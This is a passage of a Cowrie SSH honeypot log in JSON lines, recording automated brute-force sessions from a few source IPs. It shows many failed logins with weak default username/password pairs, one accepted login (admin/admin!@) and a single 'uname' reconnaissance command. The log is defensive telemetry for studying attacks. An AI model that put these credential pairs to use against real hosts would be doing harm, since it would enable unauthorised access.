0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:54.857850Z","src_ip":"43.134.24.11","session":"7a4521d5bf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:55.582547Z","src_ip":"43.134.24.11","session":"7a4521d5bf24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:56.884849Z","src_ip":"43.134.24.11","session":"7a4521d5bf24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28518,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bfc68701e3e","protocol":"ssh","message":"New connection: 43.134.24.11:28518 (10.17.0.5:22) [session: 3bfc68701e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:00.161053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:00.167102Z","src_ip":"43.134.24.11","session":"3bfc68701e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:00.458018Z","src_ip":"43.134.24.11","session":"3bfc68701e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:01.173255Z","src_ip":"43.134.24.11","session":"3bfc68701e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:02.438865Z","src_ip":"43.134.24.11","session":"3bfc68701e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1809,"dst_ip":"10.17.0.5","dst_port":22,"session":"6568a52705b0","protocol":"ssh","message":"New connection: 43.134.24.11:1809 (10.17.0.5:22) [session: 6568a52705b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:05.994179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:06.000290Z","src_ip":"43.134.24.11","session":"6568a52705b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:06.240970Z","src_ip":"43.134.24.11","session":"6568a52705b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:06.958337Z","src_ip":"43.134.24.11","session":"6568a52705b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:08.199448Z","src_ip":"43.134.24.11","session":"6568a52705b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1810,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ef3653b64c","protocol":"ssh","message":"New connection: 43.134.24.11:1810 (10.17.0.5:22) [session: e4ef3653b64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:11.778503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:11.785818Z","src_ip":"43.134.24.11","session":"e4ef3653b64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:12.023400Z","src_ip":"43.134.24.11","session":"e4ef3653b64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:12.737227Z","src_ip":"43.134.24.11","session":"e4ef3653b64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:14.018201Z","src_ip":"43.134.24.11","session":"e4ef3653b64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7291,"dst_ip":"10.17.0.5","dst_port":22,"session":"5297e7f6c3b4","protocol":"ssh","message":"New connection: 43.134.24.11:7291 (10.17.0.5:22) [session: 5297e7f6c3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:17.442841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:17.473436Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:17.690473Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":13757,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b57f6e7f3ae","protocol":"ssh","message":"New connection: 178.20.210.186:13757 (10.17.0.5:22) [session: 4b57f6e7f3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:18.081083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:18.085767Z","src_ip":"178.20.210.186","session":"4b57f6e7f3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:18.202467Z","src_ip":"178.20.210.186","session":"4b57f6e7f3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student1","password":"student1","message":"login attempt [student1/student1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:18.604380Z","src_ip":"178.20.210.186","session":"4b57f6e7f3ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:18.667138Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:19.245913Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:19.249129Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:19.497825Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:19.503354Z","src_ip":"43.134.24.11","session":"5297e7f6c3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:19.712125Z","src_ip":"178.20.210.186","session":"4b57f6e7f3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18003,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac8e2e28e589","protocol":"ssh","message":"New connection: 43.134.24.11:18003 (10.17.0.5:22) [session: ac8e2e28e589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:23.293574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:23.297815Z","src_ip":"43.134.24.11","session":"ac8e2e28e589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:23.544522Z","src_ip":"43.134.24.11","session":"ac8e2e28e589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:24.284832Z","src_ip":"43.134.24.11","session":"ac8e2e28e589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:25.536007Z","src_ip":"43.134.24.11","session":"ac8e2e28e589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12458,"dst_ip":"10.17.0.5","dst_port":22,"session":"4141852eb64e","protocol":"ssh","message":"New connection: 43.134.24.11:12458 (10.17.0.5:22) [session: 4141852eb64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:28.979535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:28.983721Z","src_ip":"43.134.24.11","session":"4141852eb64e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:29.221767Z","src_ip":"43.134.24.11","session":"4141852eb64e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:29.959213Z","src_ip":"43.134.24.11","session":"4141852eb64e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:31.198973Z","src_ip":"43.134.24.11","session":"4141852eb64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23312,"dst_ip":"10.17.0.5","dst_port":22,"session":"21bdeba180a4","protocol":"ssh","message":"New connection: 43.134.24.11:23312 (10.17.0.5:22) [session: 21bdeba180a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:34.823324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:34.828038Z","src_ip":"43.134.24.11","session":"21bdeba180a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-